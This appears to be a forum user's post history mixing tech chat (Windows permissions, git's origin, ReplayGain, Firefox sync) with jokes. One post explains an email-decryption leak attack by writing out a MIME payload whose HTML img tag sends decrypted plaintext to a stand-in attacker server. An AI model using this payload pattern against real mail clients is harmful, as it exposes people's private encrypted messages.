Posts by Havin_it

Re: Not a good look here.

If you're on a multi-user machine, ensuring "your" stuff is insulated by the correct file permissions by default is valuable: I tried making a "personal" folder under C:\ (which last I looked is world-writeable by default - WTF?!) but ensuring the permissions were set to propagate properly was a screaming nightmare. Windows permissions editing ... shudder.

I stopped using [user]\Documents when ransomware became a thing, as this would likely be a default target. The weird symlinking shenanigans to which Documents and its ilk are subject make them problematic for doing backups as well.

As for AppData, I've never grokked the philosophical distinction between Local/LocalLow/Roaming, and it's pretty clear app devs don't either. I never know which one I'll find an app's settings in, let alone why. Some even use more than one of them(?)

At least the FOSS apps can be relied upon to ignore all of them and create a nice predictable [user]\.[appname] folder :)

Re: I blame the source code management...

As I recall, the main target of Linus's anger at the time was Andrew Tridgell, for coming out with the reverse-engineered BK client that provoked BK's owner to withdraw the free-beer client license for kernel devs. If git was named for any one person at that time it was probably Tridge.

However, the very swift appearance of git in the wake of BK's move did make me wonder whether Linus had already been working towards dumping BK for some time, having tacitly acknowledged the complaints from many around him about the risks of adopting it in the first place.

OI! OUT!!

There are still limits, for heaven's sake.

Re: re. 'candour '

I think we all did, Frank. They did kind of telegraph it with the whole italic thing.

Shouldn't it be "Newercastle" then?

Re: snowflake world a.k.a. SFW

Prefixing that comment with TL;DR was classic btw ;)

Re: Wuh?

Someone (possibly here yesterday) explained it thus: The attacker sends a crafted message with three MIME parts to it:

Part 1 (HTML)

<img src="http://badguyserver.cock/readmyplaintext.php?plaintext=

Part 2 (PGP / S/MIME)

[Previously-intercepted encrypted message]

Part 2 (HTML)

"/>

The silly mail client then glues all three into a single HTML part for display, and if it's REALLY silly it also goes right ahead and fetches the image, which passes the plaintext to $badguyserver in the URL (or as many characters thereof as the system allows for a URL string).

Hope I have that right; for some reason I'm loath to grace the vanity vuln-site with a click.

Re: "Upgrading users should be able to ignore the viewer as before."

My phone's data connection goes through the cabinet as well? Damn. I should try to get them to route mine through the cabinet near my mum's place, I always get better speeds there.

And if the problem's in the cabinet, how much help is the Windows manual going to be?

CoffeeScript is already a thing, IIRC.

Re: Making DNS communication more secure

You get a notification in Firefox whenever a page attempts to play audio, telling you to install pulseaudio. How did you miss that?

Re: There has to be a better way to ensure children can't access porn.

>Then you're starving the revolutionaries

And here I thought I'd heard every euphemism for wanking already...

Really? If anyone utters or interprets "to $date" as excluding $date, I judge them an utter ocean-going See You Next Tuesday.

And don't get me started on people who say "next Tuesday" when they mean THIS Tuesday (Tuesday of THIS week). Nurse, make it a large one please....

Re: A very old, similarly themed joke from my childhood

After such an interminable set-up, I really was expecting a funny punchline. I sort of feel as if I should be calling the OFT or the ASA or someone about this.

Not to dilute your point, but it's ln <target> <linkname> innit?

Re: Obligatory pedantic quibble...

No, you misunderstand. Norman was primarily the company cook, specialising in stir-frys.

Quaequam blag! That is a downright grexnix slur-by-association upon Betelgeusian immigrants the length of the land! I suggest a prompt retraction, lest a Rigellian Hot-Shot be delivered with little warning!

Re: Lite Ally Bru

I suppose, but "Made in Scotland from poagled mountain-bike frames" doesn't quite have the same ring to it.

(Actually, now I've sung it out loud, I like it better!)

Re: On air compression

Wanted to mention you can also add ReplayGain tags (both track and album) to FLAC files, the command-line app "metaflac" can do it. My player supports it, but YMMV.

The loudness issue used to drive me mad on my phone, but after much study I managed to patch the old Android (ICS) Music app to support ReplayGain on MP3s.

Only problem was when Jelly Bean came along and I recompiled the app, it now has "gapless playback" (i.e. a slight crossfade/segue) which when fading from a song with lots of gain applied to one with none or negative gain, there tends to be a split-second burst of EXTREME LOUDNESS until the equalizer adjusts it to where it should be for the next track. I must try to fix this at some point but I fear by then the AOSP app will be abandonware :(

Re: Age verification

NGL, if they show me Ren & Stimpy I'll probably forget all about the porn objective.

Re: Faff

Most of the time Firefox binary release is fine, at times I've used that in preference to whichever distro's package, and that meant getting updates straight away too. I wish Libreoffice had a standalone installer as it's a nightmare trying to satisfy dependencies for Gentoo's binary package of it. I might give the Snap/Flatpak option a look.

@AC

Firefox accounts do use end-to-end encryption, so your 2nd and 3rd "rules" are moot. And if the data "being on someone else's computer" still bothers you that much in spite of this, the server software is all open-source so you can host it on your own computer if you want.*

* I did this myself and have to admit it is quite a battle to set it all up correctly, so in the end I asked myself why I was bothering and got a Firefox account instead. #NoRegrets

Re: Football field

Or the suitably-descriptive-while-retaining-brevity: handegg.

Re: This goes to show one thing

>We could vote for 59 fluorescent macaques and it would have no effect.

I dunno, might liven up PMQs a bit. Let's try it.